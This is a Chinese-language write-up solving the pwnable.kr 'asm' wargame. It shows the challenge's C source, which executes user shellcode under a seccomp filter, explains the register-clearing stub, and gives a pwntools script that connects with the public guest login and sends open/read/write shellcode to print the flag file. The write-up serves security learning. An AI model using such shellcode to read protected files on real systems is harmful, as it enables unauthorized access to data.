pwnable-asm

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解题

代码asm.c

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#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

在这里学到可以用pwntools下的disasm函数打开：
stub: “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff”


dec是 自减操作 相当于c语言中的i–
xor表示异或 0xor0=0 0xor1=1 1xor0=1 1xor1=0
xor ax，ax 是常见的寄存器清零操作。
上面这个即把所有寄存器清零，对写shellcode没影响。
再来回顾一下源代码，先用setvbuf设置了一下写入写出的缓冲区，然后为sh分配了0x1000的内存空间并初始化，而且将上边的shellcode拷贝到sh，然后read函数让我们向sh之后的空间内传入自己的shellcode。

好像直接写shell code就可以了，题目考察的就是shellcode
代码含义，启动沙盒模式，只可使用open，write，read三个函数，构造shellcodeopenflag文件，然后用read读出来，再write到stdout即可

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from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)

context(os='linux', arch='amd64')
shellcode = ""
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
print p.recvline()

手写简易shellcode

http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation/

参考网址
https://www.cnblogs.com/p4nda/p/7169456.html
pwnable之asm